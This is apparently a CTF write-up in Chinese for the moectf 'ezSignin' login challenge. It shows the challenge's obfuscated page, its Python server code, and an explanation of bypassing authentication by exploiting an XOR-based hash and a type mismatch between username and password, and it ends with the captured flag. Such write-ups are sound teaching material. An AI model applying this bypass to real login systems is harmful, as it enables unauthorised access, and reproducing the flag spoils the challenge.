xvZycsJ3Bhc3N3b3JkJywnL2xvZ2luJywnUE9TVCcsJ2dldEVsZW1lbnRCeUlkJywndGhlbiddO3ZhciBfMHg0ZTVhPWZ1bmN0aW9uKF8weGRiNTRmYSxfMHg0ZTVhOTQpe18weGRiNTRmYT1fMHhkYjU0ZmEtMHgwO3ZhciBfMHg0ZDhhNDQ9XzB4ZGI1NFtfMHhkYjU0ZmFdO3JldHVybiBfMHg0ZDhhNDQ7fTt3aW5kb3dbJ2FwaV9iYXNlJ109Jyc7ZnVuY3Rpb24gbG9naW4oKXtjb25zb2xlW18weDRlNWEoJzB4MScpXSgnbG9naW4nKTt2YXIgXzB4NWYyYmViPWRvY3VtZW50W18weDRlNWEoJzB4NScpXSgndXNlcm5hbWUnKVsndmFsdWUnXTt2YXIgXzB4NGZkMjI2PWRvY3VtZW50W18weDRlNWEoJzB4NScpXShfMHg0ZTVhKCcweDInKSlbJ3ZhbHVlJ107dmFyIF8weDFjNjFkOT1KU09OW18weDRlNWEoJzB4MCcpXSh7J3VzZXJuYW1lJzpfMHg1ZjJiZWIsJ3Bhc3N3b3JkJzpfMHg0ZmQyMjZ9KTt2YXIgXzB4MTBiOThlPXsncGFyYW1zJzphdG9iKGF0b2IoYXRvYihhdG9iKGF0b2IoXzB4MWM2MWQ5KSkpKSl9O2ZldGNoKHdpbmRvd1snYXBpX2Jhc2UnXStfMHg0ZTVhKCcweDMnKSx7J21ldGhvZCc6XzB4NGU1YSgnMHg0JyksJ2JvZHknOkpTT05bXzB4NGU1YSgnMHgwJyldKF8weDEwYjk4ZSl9KVtfMHg0ZTVhKCcweDYnKV0oZnVuY3Rpb24oXzB4Mjk5ZDRkKXtjb25zb2xlW18weDRlNWEoJzB4MScpXShfMHgyOTlkNGQpO30pO30KICAgIDwvc2NyaXB0Pgo8L2hlYWQ+Cjxib2R5PgogICAgPGgxPmV6U2lnbmluPC9oMT4KICAgIDxwPlNpZ24gaW4gdG8geW91ciBhY2NvdW50PC9wPgogICAgPHA+ZGVmYXVsdCB1c2VybmFtZSBhbmQgcGFzc3dvcmQgaXMgYWRtaW4gYWRtaW48L3A+CiAgICA8cD5Hb29kIEx1Y2shPC9wPgoKICAgIDxwPgogICAgICAgIHVzZXJuYW1lIDxpbnB1dCBpZD0idXNlcm5hbWUiPgogICAgPC9wPgogICAgPHA+CiAgICAgICAgcGFzc3dvcmQgPGlucHV0IGlkPSJwYXNzd29yZCIgdHlwZT0icGFzc3dvcmQiPgogICAgPC9wPgogICAgPGJ1dHRvbiBpZCA9ICJsb2dpbiI+CiAgICAgICAgTG9naW4KICAgIDwvYnV0dG9uPgo8L2JvZHk+CjxzY3JpcHQ+CiAgICBjb25zb2xlLmxvZygiaGVsbG8/IikKICAgIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJsb2dpbiIpLmFkZEV2ZW50TGlzdGVuZXIoImNsaWNrIiwgbG9naW4pOwo8L3NjcmlwdD4KPC9odG1sPg==" ) class MyHandler (http.server.BaseHTTPRequestHandler): def do_GET (self ): try : if self.path == "/" : self.send_response(200 ) self.end_headers() self.wfile.write(__page__) else : self.send_response(404 ) self.end_headers() self.wfile.write(b"404 Not Found" ) except Exception as e: print (e) self.send_response(500 ) self.end_headers() self.wfile.write(b"500 Internal Server Error" ) def do_POST (self ): try : if self.path == "/login" : body = self.rfile.read(int (self.headers.get("Content-Length" ))) payload = json.loads(body) params = json.loads(decrypt(payload["params" ])) print (params) if params.get("username" ) == "admin" : self.send_response(403 ) self.end_headers() self.wfile.write(b"YOU CANNOT LOGIN AS ADMIN!" ) print ("admin" ) return if params.get("username" ) == params.get("password" ): self.send_response(403 ) self.end_headers() self.wfile.write(b"YOU CANNOT LOGIN WITH SAME USERNAME AND PASSWORD!" ) print ("same" ) return hashed = gethash(params.get("username" ),params.get("password" )) for k,v in hashed_users.items(): if hashed == v: data = { "user" :k, "hash" :hashed, "flag" : FLAG if k == "admin" else "flag{YOU_HAVE_TO_LOGIN_IN_AS_ADMIN_TO_GET_THE_FLAG}" } self.send_response(200 ) self.end_headers() self.wfile.write(json.dumps(data).encode()) print ("success" ) return self.send_response(403 ) self.end_headers() self.wfile.write(b"Invalid username or password" ) else : self.send_response(404 ) self.end_headers() self.wfile.write(b"404 Not Found" ) except Exception as e: print (e) self.send_response(500 ) self.end_headers() self.wfile.write(b"500 Internal Server Error" )if __name__ == "__main__" : server = http.server.HTTPServer(("" , 9999 ), MyHandler) server.serve_forever()
1 2 3 4 5 6 7 def gethash (*items ): c = 0 for item in items: if item is None : continue c ^= int .from_bytes(hashlib.md5(f"{salt} [{item} ]{salt} " .encode()).digest(), "big" ) return hex (c)[2 :]
^:按位异或运算符:当两对应的二进位相异时,结果为1
int.from_bytes() : res = int.from_bytes(x)的含义是把bytes类型的变量x,转化为十进制整数,并存入res中。
hashlib.md5():哈希MD5加密
hex(c)[2:]:转换为16进制[2:]从第二位数开始读起
1 2 3 4 def decrypt(data :str): for x in range(5 ): data = base64.b64encode(data ).decode() # ummm...? It looks like it's just base64 encoding it 5 times? truely? return data
这里data base64加密了5次,所以抓包到的params要进行5次base64解码
1 2 3 4 5 6 7 8 9 10 11 12 13 hashed = gethash (params.get ("username" ),params.get ("password" )) for k,v in hashed_users.items (): if hashed == v: data = { "user" :k, "hash" :hashed, "flag" : FLAG if k == "admin" else "flag{YOU_HAVE_TO_LOGIN_IN_AS_ADMIN_TO_GET_THE_FLAG}" } self.send_response (200 ) self.end_headers () self.wfile .write (json.dumps (data).encode ()) print ("success" ) return
1 2 3 4 5 6 for k,v in hashed_users.items () hashed_users = dict ((k,gethash (k,v)) for k,v in users.items ()) assert "admin" in users assert users["admin" ] == "admin"
hashed_users={‘admin’,0},k为admin,v为0 if hashed == v: hashed对我们传入的username和password进行异或(^),两者相同为0 所以我们的username和password要相等,但代码有说明username!=password,好在是弱比较,我们可以数字和数字字符比较
flag
1 moectf{C0nGUrAti0ns!_y0U_hAve_sUCCessFUlly_siGnin!_iYlJf!M3rux9G9Vf!Jox}